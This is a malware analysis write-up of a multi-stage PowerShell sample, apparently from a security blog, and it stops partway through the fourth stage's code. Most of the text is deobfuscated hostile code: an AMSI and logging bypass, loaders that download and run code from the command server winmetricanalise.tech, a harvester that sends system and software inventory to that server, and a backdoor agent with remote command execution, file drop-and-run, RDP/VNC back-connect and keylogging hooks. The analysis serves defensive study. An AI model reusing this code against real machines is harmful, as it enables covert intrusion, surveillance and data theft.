Multi-stage Powershell script (Brownies)

While examining different PowerShell scripts on the Hybrid-Analysis website, I found a very complex PowerShell script that downloads its code in many stages. In the fifth stage, the PowerShell code contains two executable code in base64 encoding for x86 32 and 64 bits architecture. In the last stage, the Powershell code acts as spyware and takes screenshots from windows that contain certain words in their titles such as PayPal, Walmart.

First stage

PowerShell script: https://www.hybrid-analysis.com/sample/485515cc769bd0e2ab62e5697e743196dc6ecebd44319b1adf9e8b935a059bc3?environmentId=100

cps1
Fig 1: the PowerShell script in first stage

The string in Fig 1 is first decoded with a base64 decoder and then is decompressed. We get the following code after these operations:

cps2
Fig 2: using string substitution technique for obfuscating the code

In the above code, we have a format string (starts by {9}{8}{12}…) followed by a series of strings. After placing strings in the correct position, we get:

cps3
Fig 3: deobfuscate code

Let’s take a look at the code for a moment. The following code is the formatted version of the above code:


# disables security feater in PowerShell v3 and above
$(If($PSVersionTable.PSVersion.Major -ge 3)
{
    $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static');
    If($GPF){
        $GPC=$GPF.GetValue($null);
        If($GPC['ScriptBlockLogging']){
            $GPC['ScriptBlockLogging']['EnableScriptBlockLogging']=0;
            $GPC['ScriptBlockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add('EnableScriptBlockLogging',0);
        $val.Add('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']=$val
    }
    Else{
        [ScriptBlock]."GetFie`ld"('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
    }
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)};
};
[System.Net.ServicePointManager]::Expect100Continue=0;;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
sleep -s 4;
# generates a random url with a specific pattern
$sr=.(Get-Command nE`*cT)systE`m.iO`.STrEA`MrE`ADEr([Net.HttpWebRequest]::Create('https://winmetricanalise.tech/'+ $(-join("adefenoprsatuviwyz".ToCharArray()|Get-Random -Count $(@('8','6','7')|Get-Random)))+'.'+ $(@('php','jsp','asp')|Get-Random)).GetResponse().GetResponseStream());
sleep -s 3;
$res=$sr.ReadToEnd();
sleep -s 2;
$sr.Close());
# executes the downloaded PowerShell
.(Get-Alias i`*X)($res)

From line 3 to 20, the code attempts to disable PowerShell logging and Microsoft ASMI. From line 21 to 26, the malicious script downloads its second stage PowerShell script. In the end, it executes the downloaded script.

Second Stage

Fig 4 shows the second stage of this malware. $eB89 is first reversed and then decompressed.

cps4
fig 4: the PowerShell script in second stage

Fig 5 and 6 show the $eB89 content after performing these operations.

cps5
Fig 5: after reversing
cps6
Fig 6: after replacing and decompressing

Let’s take a look at this code. I formatted the code so that we can read it better:


$url = 'https://winmetricanalise.tech/'+ $(-join("adefenoprsatuviwyz".ToCharArray()|Get-Random -Count $(@(10,16,14)|Get-Random)))+'.'+ $(@('php','jsp','asp')|Get-Random);
$K='L(oNXStkDP;l0YTs7[HJBOvrK3M,=chm';
$I=0;[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
[SysTEm.Net.SeRvICePoIntMAnaGEr]::Expect100ConTINuE=0;
$buffer = [System.Text.Encoding]::UTF8.GetBytes('url');
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url);
$webRequest.Timeout = 10000;$webRequest.Method = 'POST';
$webRequest.UserAgent = 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0';
$webRequest.ContentType = 'application/x-www-form-urlencoded';
$webRequest.ContentLength = $buffer.Length;;
$requestStream = $webRequest.GetRequestStream();
$requestStream.Write($buffer, 0, $buffer.Length);
$requestStream.Flush();$requestStream.Close();
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse();
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream());
[CHAr[]]$result = ([cHAr[]]($streamReader.ReadToEnd()))|%{$_-BXor$K[$I++%$k.LeNGtH]};
.(Get-Alias i`*X)($result-JOIn'')

Basically, in this stage, the malware download and execute its third stage.

Third Stage

Below is the code that is downloaded for the third stage:

cps7.PNG
Fig 7: PowerShell script for the third stage

After decompressing the code, we have


function GsdsetWweter {
    $Serv = $args[0]
    $SK = $args[1]
    $USAG = $args[2]
    $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
    $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
    $ErrorActionPreference = "SilentlyContinue";
    $e=[System.Text.Encoding]::ASCII;
    function Get-SysID($HashName = "MD5"){
        [string]$ret = ""
$hd = gwmi win32_bios
        $ret = $hd["SerialNumber"].ToString()
        [string]$String = $([Environment]::UserName +[Environment]::MachineName + $ret).ToLower();
        $StringBuilder = New-Object System.Text.StringBuilder
        [System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
            [Void]$StringBuilder.Append($_.ToString("x2"))
            }
            $e = $StringBuilder.ToString().ToLower()
            $e
        }
  Function HasGet-Bretring($ht) {
  $first = $true
  foreach($pair in $ht.GetEnumerator()) {
    if ($first)
    {
       $first = $false
    }
    else
    {
       $output += ';'
    }
    $output+="{0}" -f $($pair.Value)
   }
   $output
  }

 function Get-workconfig {
  Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' |
    ForEach-Object {
      $result = 1 | Select-Object Name, IP, MAC, ID
      $result.Name = $_.Name
      $result.MAC = $_.MacAddress
      $result.ID = $_.DeviceID
      $config = $_.GetRelated('Win32_NetworkAdapterConfiguration')
      $result.IP = $config | Select-Object -expand IPAddress
      $result
    }

}

    function Get-Sysinfo {
        $str = [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
        $string = ""
        foreach($c in Get-workconfig){
            [string]$lanname = $c.Name; [string]$macadr = $c.MAC; [string]$ID = $c.ID
            $ip = @{$true=$c.IP[0];$false=$p.IP}[$c.IP.Length -lt 6];
            [string]$ip = $c.IP[0]; if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
            $lanconf = @{
            id = $ID
            ip = $ip;
            mac =  $macadr;
            name = $lanname;
            }
           $string += HasGet-Bretring $lanconf
        }

        $o = (Get-WmiObject Win32_OperatingSystem)
        $str += "|$string";
        $str += '|' +$o.Name.split('|')[0];
        if(([Environment]::UserName).ToLower() -eq "system"){
            $str += '|True'
        }
        else{
            $str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
        }
        [void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
        $Screens = [system.windows.forms.screen]::AllScreens
        foreach ($Screen in $Screens) {
            $Width  = $Screen.Bounds.Width
            $Height  = $Screen.Bounds.Height
        }
        $str += '|' + "$Width`x$Height"
        $n = [System.Diagnostics.Process]::GetCurrentProcess()
        $str += '|'+$n.ProcessName+'|'+$n.Id
        $str += '|' + $PSVersionTable.PSVersion.Major
        $str += '|' + $ENV:PROCESSOR_ARCHITECTURE
        $str += '|' + (gwmi win32_timeZone -ComputerName $env:ComputerName).caption
        $str += '|' + $o.ConvertToDateTime($o.LastBootUpTime)
        $str
    }

function getlisturi{
    $RandName = -join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $args[0]);$ar = @('php','jsp','asp') | Get-Random;
    $RandName + '.' + $ar
    }

    function Get-Soft {
    param (
        [Parameter(ValueFromPipeline=$true)]
        [string[]]$ComputerName = $env:COMPUTERNAME,
        [string]$NameRegex = '(Opera|Firefox|Chrome|TAX|Lacerte|OLT|ProSeries|Ultratax|Drake|Taxslayer|ProTaxPro|Taxwise|Avast|ESET|Malwarebytes|McAfee|Norton|Panda|Sophos|Webroot|Bitdefender|Symantec|Trust|EICAR|Virus|Firewall|Defender|Secury|Anti|Comodo|Kasper|quickbooks|keypass|ftp|ssh|Outlook)'
    )
    foreach ($comp in $ComputerName) {
        $keys = '','\Wow6432Node'
        foreach ($key in $keys) {
            try {
                $apps = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$comp).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall").GetSubKeyNames()
            } catch {
                continue
            }
            foreach ($app in $apps) {
                $program = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$comp).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall\$app")
                $name = $program.GetValue('DisplayName')
                $str = ''
                if ($name -and $name -match $NameRegex) {
                    $str += $name + ';'
                    $str
                }
            }
        }
    }
}
            try {
                $FirstAES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;         }
            catch {
                $FirstAES=New-Object System.Security.Cryptography.RijndaelManaged;
            }
    $FirstIV = [byte] 0..255 | Get-Random -count 16;$FirstAES.Mode="CBC";
    $FirstAES.Key=$e.GetBytes($SK);
    $FirstAES.IV = $FirstIV;
    $csp = New-Object System.Security.Cryptography.CspParameters;
    $csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
    $rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
    $rk=$rs.ToXmlString($False);$ib=$e.getbytes($rk);
    $eb=$FirstIV+$FirstAES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
    $BotIDXor= Get-SysID;
    $EncodedText =[Convert]::ToBase64String($e.getbytes($BotIDXor));
    $EncodedText2 =[Convert]::ToBase64String($e.getbytes($EncodedText));
  if(-not $wc){
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
        $wc=new-object system.net.WebClient;
        $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
        $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
    }
    $wc.Headers.Add("User-Agent",$USAG);
    $wc.Headers.Add("Cookie","SESSIONID:$EncodedText2");
    $raw=$wc.UploadData($Serv + "/" + $(getlisturi $(@(9,17,12)|Get-Random)),"POST",$eb);
    $de=$e.GetString($rs.decrypt($raw,$false));
    $key=$de[0..($de.length-2)] -join '';
    $k=$de[$de.length-1] -join '';
  if ($k -eq 0) {
    $str1 =  Get-Sysinfo;
    $str2 =  Get-Soft;
    $str = $str1 + '|' + $str2
    }
  else{$str = 'OK'+ '|' + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + '|' + ([System.Diagnostics.Process]::GetCurrentProcess()).id}
    $SecondAES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $SecondIV = [byte] 0..255 | Get-Random -count 16;
    $SecondAES.Mode="CBC"; $SecondAES.Key=$e.GetBytes($key); $SecondAES.IV = $SecondIV;
    $ib2=$e.getbytes($str);
    $eb2=$SecondIV+$SecondAES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);
    $wc.Headers.Add("User-Agent",$USAG);
    $raw=$wc.UploadData($Serv+ "/" + $(getlisturi $(@(18,19,4)|Get-Random)),"POST",$eb2);
try {$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;}
catch {$AES=New-Object System.Security.Cryptography.RijndaelManaged;}
    $AES.Mode="CBC";
    $IV = $raw[0..15];$AES.Key=$e.GetBytes($key);$AES.IV = $IV;
    $shelles = [System.Text.Encoding]::ASCII.GetString($($AES.CreateDecryptor().TransformFinalBlock($raw[16..$raw.Length],0,$raw.Length-16)))
    iex $shelles
    $FirstAES=$null;$BotIDXor=$null;$rs=$null;$eb2=$null;$raw=$null;$IV=$null;$str=$null;$ib2=$null;$SecondAES=$null;$AES=$null; $SecondIV=$null;$shelles= $null;
    $Error.Clear()
    [GC]::Collect()
    [GC]::WaitForPendingFinalizers()
    federerfegegfeg $key "SESSIONID:$EncodedText2" $Serv $USAG $([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") $PSVersionTable.PSVersion.Major   #see the code below for federerfegegfeg function, federerfegegfeg loaded on the fly
    }
  GsdsetWweter 'https://winmetricanalise.tech' 'L(oNXStkDP;l0YTs7[HJBOvrK3M,=chm' 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0'
 <span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>

From line 151 to 155, the computer and user info of the system is retrieved, then this data is encrypted and sent to the C&C server on line 163.

The C&C sends the stage 4 in the response body. The content is decrypted on line 168 and then will be executed on line 169. The code in the forth stage is actually a function with the name of federerfegegfeg. This function is called on line 174.

Stage four

The following code is returned on line 168.

cps8.PNG

The same substitution technique is used. After placing the string on the correct position we get:

cps9.PNG

After decompressing the code we get the PowerShell script for the forth stage:


function federerfegegfeg {
  $mtx = New-Object System.Threading.Mutex($false, "GetIdDefender")
  if ($mtx.WaitOne(1000)) {
    $ErrorActionPreference = 'silentlycontinue';
    $script:EncScriptkeylo = '';
    $script:sendfile = '';
    $agent = @{
      seskey = $args[0];
      Cookie = $args[1];
      base = $args[2];
      usag = $args[3];
      priv = $args[4];
      poshver = $args[5];
      mischec = 0;
      klcount = 0;
      crptcount = 0;
      klver = 'ssha';
      fgver = 'exe';
      wver = 'watcher';
      fgrab = $true;
      watcher = $false;
      paths = $(Join-Path -Path  $env:temp 'S-1-5-21-412654016-3479515840-311');
      module = $true;
      INTERVAL = 420;
      encodingascii = [System.Text.Encoding]::ASCII;
      encodingutf = [System.Text.Encoding]::UTF8;
      job = @{};
    }
    if(!(Test-path $agent['paths'])) {
     $h = ni -Path $agent['paths'] -ItemType "directory"
     $h.attributes="Hidden"
        }
    function Encrypt-Bytes {
        param($bytes)
        try{
        $IV = [byte] 0..255 | Get-Random -count 16
        $hmac = New-Object System.Security.Cryptography.HMACSHA1;
        try {
          $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; }
        catch {
           $AES=New-Object System.Security.Cryptography.RijndaelManaged;
         }
        $AES.Mode = "CBC";
        $AES.Key = $agent['encodingascii'].GetBytes($agent['seskey']);
        $AES.IV = $IV;
        $ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
        $hmac.Key = $agent['encodingascii'].GetBytes($agent['seskey']);
        $ciphertext + $hmac.ComputeHash($ciphertext);
             }
        catch {$_.Exception.Message}
        finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()}
    }
    function Decrypt-Bytes {
        param ($inBytes)
        if($inBytes.Length -gt 32){
            $hmac = New-Object System.Security.Cryptography.HMACSHA1;
            $mac = $inBytes[-20..-1];
            $inBytes = $inBytes[0..($inBytes.length - 21)];
            $hmac.Key = $agent['encodingascii'].GetBytes($agent['seskey']);
            $expected = $hmac.ComputeHash($inBytes);
            if (@(diff $mac $expected -sync 0).Length -ne 0){
                return;
            }
            $IV = $inBytes[0..15];
            try {
                $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; }
            catch {
                $AES=New-Object System.Security.Cryptography.RijndaelManaged;
            }
            $AES.Mode = "CBC";
            $AES.Key = $agent['encodingascii'].GetBytes($agent['seskey']);
            $AES.IV = $IV;
            ($AES.CreateDecryptor()).TransformFinalBlock(($inBytes[16..$inBytes.length]), 0, $inBytes.Length-16)
        }
    }
    function Encode-Packet {
      param([int]$type, $data)
       try{
        $data = [System.Convert]::ToBase64String($agent['encodingutf'].getbytes($data))
        $packet = New-Object Byte[] (8 + $data.Length)
        ([bitconverter]::GetBytes($type)).CopyTo($packet, 0)
        ([bitconverter]::GetBytes($data.Length)).CopyTo($packet, 4)
        ($agent['encodingutf'].getbytes($data)).CopyTo($packet, 8)
        $packet
             }
        catch {$_.Exception.Message}
        finally{$data = $null; [GC]::Collect();[GC]::WaitForPendingFinalizers();}
    }
    function Decode-Packet {
        param($packet, $offset=0)
        $type = [bitconverter]::ToUInt32($packet, 0+$offset)
        $length = [bitconverter]::ToUInt32($packet, 4+$offset)
        $data = $agent['encodingutf'].GetString($packet[(8+$offset)..(8+$length+$offset-1)])
        $packet = $null
        @($type,$length,$data)
    }
    function Process-Packet {
        param($type, $msg)
        $outtype = '111'
        try {
          if($type -eq 1) {
                $msg = "[!] Agent logoff"
                SMailstream-sendpost -Packets $(Encode-Packet -type $outtype -data $msg )
                iex logoff
            }
            elseif($type -eq 2) {
                $msg = "[!] Agent Kill"
                Start-AgentJob $data 'DefenderKill'
                SMailstream-sendpost -Packets $(Encode-Packet -type $outtype -data $msg )
                exit
            }
            elseif($type -eq 3) {
                $msg = "[!] Agent Update"
                $id  = nproc 'powershell.exe' $data
                SMailstream-sendpost -Packets $(Encode-Packet -type $outtype -data $("New proc id $id"))
                exit
            }
            elseif($type -eq 40){
                $cmd = $data[7..$data.Length] -join ''
                if($cmd.Length -gt 0){
                    Encode-Packet -type $outtype -data $((IEX $cmd) -join "`n").trim()
                }
            }
            elseif($type -eq 42) {
              $parts = $data.split('|')
              $filename = $parts[0]
              $base64part = $parts[1]
              $file = $(Join-Path -Path $agent['paths'] $filename)
              $Content = [System.Convert]::FromBase64String($base64part)
               try{
                    Set-Content -Path $file -Value $Content -Encoding Byte
                    TRunpil $("cmd.exe /c start %COMSPEC% /C $file")
                    $data = $null;$parts = $null;$filename = $null;$base64part = $null;$Content = $null
                    Encode-Packet -type $outtype -data "[*] Upload and start successful"
                }
                catch {
                    Encode-Packet -type $outtype -data "[!] Error in writing $filename during upload and start"
                }
            }
            elseif($type -eq 23){
              Encode-Packet -type $outtype -data  $((IEX $data) -join "`n").trim()
            }

            elseif($type -eq 19){
             try {
              $outout = ""
             if (!($agent['job']['DefenderUpdateSecRDD'])){
                   Start-AgentJob $data 'DefenderUpdateSecRDD'
                   Encode-Packet -type $outtype -data $("Start Back connect RDP")
               }
               else {
                $outout = Stop-AgentJob 'DefenderUpdateSecRDD'
                Stop-Process -Name rdpcliep | Out-Null
                Start-AgentJob $data 'DefenderUpdateSecRDD'
                Encode-Packet -type $outtype -data $("reStart Back connect RDP  stdout RDP >>> $($outout | Out-String) ")
                }
              }
              catch {
              $_.Exception.Message
              }
            }
          elseif($type -eq 14){
             try {
              $outout = ""
              if (!($agent['job']['DefenderUpdateSecID'])){Start-AgentJob $data 'DefenderUpdateSecID'; Encode-Packet -type $outtype -data "Start Back connect VNC" }
              else { $outout = Stop-AgentJob 'DefenderUpdateSecID'; Start-AgentJob $data 'DefenderUpdateSecID'; Encode-Packet -type $outtype -data $("reStart Back connect VNC >>   $($outout | Out-String)") }
              }
              catch {
              $_.Exception.Message
              }
            }
           elseif($type -eq 117){
             try {
              $outout = ""
               if (!($agent['job']['DefenderipperSecID'])){Start-AgentJob $data 'DefenderipperSecID';Encode-Packet -type $outtype -data $("Start Back connect ripper") }
              else { $outout = Stop-AgentJob 'DefenderipperSecID';
                Encode-Packet -type $outtype -data $("Start Back connect ripper >>   $($outout | Out-String)")
                Start-AgentJob $data 'DefenderipperSecID'}
              }
              catch {
              $_.Exception.Message
              }
            }
          elseif($type -eq 114){
             try {
              $cmd = $data[9..$data.Length] -join ''
              $outout = Stop-AgentJob $cmd
              Encode-Packet -type $outtype -data $("Stop Job: $($outout | Out-String)")
              }
              catch {
              $_.Exception.Message
              }
            }
          elseif($type -eq 115){
              try {
              $cmd = $data[8..$data.Length] -join ''
              if($cmd -eq 'on'){$agent['module'] = $true}
              elseif($cmd -eq 'off'){$agent['module'] = $false}
              Encode-Packet -type $outtype -data  $("Module status: $($agent['module']| Out-String)")
               }
              catch {
              $_.Exception.Message
              }
            }
        else {
              $jobd = $true
              $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6)
              Start-AgentJob $data $RandName
              while($jobd){
                if (Get-AgentJobCompleted $RandName){
                  $outout = Stop-AgentJob $RandName;
                  Encode-Packet -type $outtype -data $("Output $type >>   $($outout | Out-String)")
                  $jobd = $false;
                }
               sleep -s 4
               }
              }
        }
        catch{
            $_.Exception.Message
            Encode-Packet -type $outtype -data "error running command: $_"
        }
        finally{
            [GC]::Collect()
            [GC]::WaitForPendingFinalizers()
            [GC]::Collect()
          }
        }
    function ProcTasking {
        param($tasking)
        try{
        $taskingBytes = Decrypt-Bytes $tasking
        if (!$taskingBytes){
            $agent['crptcount'] += 1
            return ""
        }
        $decoded = Decode-Packet $taskingBytes
        $type = $decoded[0]
        $length = $decoded[1]
        $data = $decoded[2]
        $resultPackets = $(Process-Packet $type $data)
        SMailstream-sendpost $resultPackets
      }
      catch {$_.Exception.Message }
      finally{
          [GC]::Collect()
          [GC]::WaitForPendingFinalizers()
        }
    }
    function getlisturi{
    '/' + $(-join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $(Get-Random (5..10)))) + '/' + $(-join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $(Get-Random (7..12)));$ar = @('php','jsp','asp') | Get-Random) + '.' + $ar
    }
    function SMailstream-sendpost {
        param($packets)
        if($packets) {
            $encBytes = Encrypt-Bytes $packets
            if ($agent['base'].StartsWith("https")){
                [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
             }
                [System.Net.ServicePointManager]::DefaultConnectionLimit = 1024
                $wc = new-object system.net.WebClient;
                $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
                $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
                $wc.Headers.Add("User-Agent",$agent['usag'])
                $wc.Headers.Add("Cookie",$agent['Cookie'])
                try{
                    $response = $wc.UploadData($agent['base']+$(getlisturi),"POST",$encBytes);
                    $response
                }
        catch {sleep -s 1; $response = $wc.UploadData($agent['base']+$(getlisturi),"POST",$encBytes); $response }
        finally{
          $wc.Dispose()
          [GC]::Collect()
          [GC]::WaitForPendingFinalizers()
        }
            }
        }
    function Get-Cmd {
        try{
            if ($agent['base'].StartsWith("https")){
                [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
             }
                $wc = new-object system.net.WebClient;
                $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
                $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
                $wc.Headers.Add("User-Agent",$agent['usag'])
                $wc.Headers.Add("Cookie",$agent['Cookie'])
                $result = $wc.DownloadData($agent['base'] + $(getlisturi))
                return $result
           }
        catch [System.Net.WebException],[System.IO.IOException] {
          $_.Exception.Message
          $agent['mischec'] += 1
        }
            finally{
            $wc.Dispose();
            [GC]::Collect()
            [GC]::WaitForPendingFinalizers()
            }
    }
        function TRunpil {
        $runspace = [runspacefactory]::CreateRunspace()
        $runspace.ApartmentState = "STA"
        $runspace.ThreadOptions = "ReuseThread"
        $runspace.Open()
        $powershell = [powershell]::Create()
        $powershell.Runspace = $runspace
        [void]$powershell.AddScript($args[0])
        [void]$powershell.BeginInvoke()
    }
    function Start-AgentJob {
param($ScriptString, $RandName)
if($ScriptString -eq 'space'){return}
$AppDomain = [AppDomain]::CreateDomain($RandName)
$PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()
$null = $PSHost.AddScript($ScriptString)
$Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
$PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
$BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))
$Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))
$agent['job'][$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
}
    function Get-AgentJobCompleted {
if($agent['job'].ContainsKey($args[0])) {
$agent['job'][$args[0]]['Job'].IsCompleted
}}
    function Stop-AgentJob {
if($agent['job'].ContainsKey($args[0])) {
$buffer = $agent['job'][$args[0]]['Buffer'].ReadAll()
$errorkeylo  = $agent['job'][$args[0]]['PSHost'].Streams.Error
$Null = $agent['job'][$args[0]]['PSHost'].Stop()
$Null = [AppDomain]::Unload($agent['job'][$args[0]]['AppDomain'])
$agent['job'].Remove($args[0])
        }
    if(!($buffer)){$buffer = 'NotBufferTread'}
    if(!($errorkeylo)){$errorkeylo = 'NotErrorTread'}
    @($buffer, $errorkeylo)
    }
    function nproc{
        $psi = New-Object System.Diagnostics.ProcessStartInfo;
        $proc=new-object System.Diagnostics.Process;
        $psi.CreateNoWindow = $true;
        $psi.WindowStyle = 'Hidden';
        $proc.StartInfo = $psi;
        if($args[2]){$proc.StartInfo.UseShellExecute = $false}
        $proc.StartInfo.FileName = $args[0];
        $proc.StartInfo.Arguments = '-noexit '   + '-nologo '+'-noprofile '+'-NonInteractive '+ '-Command ' + $args[1];
        $proc.start() | Out-Null
        $proc.Id
}
    function get-moduledef{
    try {
      $r = 0
    while($agent['module']){
     $jobd = $true
     $module = $(Decode-Packet(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type 4 -data 'status'))))
     if($module[0] -eq 99){$jobd = $false}
     $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6)
     Start-AgentJob $module[2] $RandName
     while($jobd){
        if (Get-AgentJobCompleted $RandName)
        {
          $outout = Stop-AgentJob $RandName;
          if($module[0] -eq 66 -or $r -eq 22){$agent['module'] = $false}
          debugingerror $outout $module[0];
          $jobd = $false;
        }
        sleep -s 3
      }
     sleep -s 5
    ++$r
     }
     }
  catch {$_.Exception.Message}
   finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()}
   }
       function get-fgrablogs {
        try {
          $datas =  $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" +  'get-fgruvers' + " -versid atinmem " + " -fpath " +"'" +$agent['paths']+ "'" + " -idsid 1215 -rckey"+ " '"+$agent['seskey']+"'"
          Start-AgentJob $datas $args[2]
          $datas = $null
        }
        catch {$_.Exception.Message;}
        finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()}
    }
       function get-watcher {
        try {
          $datas =  $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'get-watcher' + " '"+$agent['seskey']+ "'" + " '"+$agent['paths'] +"'" + " '"+$agent['poshver'] +"'"
          Start-AgentJob $datas $args[2]
          $datas = $null
        }
        catch {$_.Exception.Message;}
        finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()}
    }

    function get-contentlogs {
        try {
          if ($agent['klver'] -eq 'ps') {$script:EncScriptkeylo = ''}
          if(!($script:EncScriptkeylo)){
          $datas =  $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'def' + " '"+$agent['seskey']+ "'" + " '"+$agent['paths'] +"'" + " '"+$agent['poshver'] +"'"
          $script:EncScriptkeylo = Encrypt-Bytes $agent['encodingascii'].GetBytes($datas);
          }
          else{$datas = $agent['encodingutf'].GetString($(Decrypt-Bytes  $script:EncScriptkeylo))}
          Start-AgentJob $datas $args[2]
          $datas = $null
        }
        catch {$_.Exception.Message;}
        finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()}
    }
    function Post-file{
          try {
          if(!($script:sendfile)){
          $datas =  $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'berrered' + " '"+$agent['seskey']+ "'" + " '"+$agent['Cookie'] +"'" + " '"+$agent['base'] +"'" + " '"+$agent['usag'] +"'" + " '"+$agent['paths'] +"'"
          $script:sendfile = Encrypt-Bytes $agent['encodingascii'].GetBytes($datas);
          }
          else{$datas = $agent['encodingutf'].GetString($(Decrypt-Bytes $script:sendfile))}
          Start-AgentJob $datas $args[2]
          $datas = $null
        }
        catch {$_.Exception.Message;}
        finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()}
    }
    function debugingerror {
        if($args[0][0]){$null = SMailstream-sendpost($(Encode-Packet -type 112 -data $('{0}|{1}|{2}' -f $args[1],'buffmod',[System.Convert]::ToBase64String($agent['encodingutf'].getbytes($($args[0][0]|Out-String))))))}
        if($args[0][1]){$null = SMailstream-sendpost($(Encode-Packet -type 112 -data $('{0}|{1}|{2}' -f $args[1],'errors',[System.Convert]::ToBase64String($agent['encodingutf'].getbytes($($args[0][1]|Out-String))))))}
       }

do {
  if($agent['fgrab']){
  if(!($agent['job']['WindowsFgDefender'])){get-fgrablogs 6 $agent['fgver'] WindowsFgDefender}
  else {
        $outout = Stop-AgentJob 'WindowsFgDefender'
        debugingerror $outout 10
        $agent['fgrab'] = $false
       }
  }
  if($agent['watcher']){get-watcher 10 $agent['wver'] WindowsWatcherDefender}

  if (!($agent['job']['WindowsDefender'])){get-contentlogs 7 $agent['klver'] WindowsDefender}
  else {
     if (Get-AgentJobCompleted 'WindowsDefender'){
        $outout = Stop-AgentJob 'WindowsDefender'
        debugingerror $outout 7
        if($agent['klcount'] -gt 2){$agent['klver'] = 'ps'}
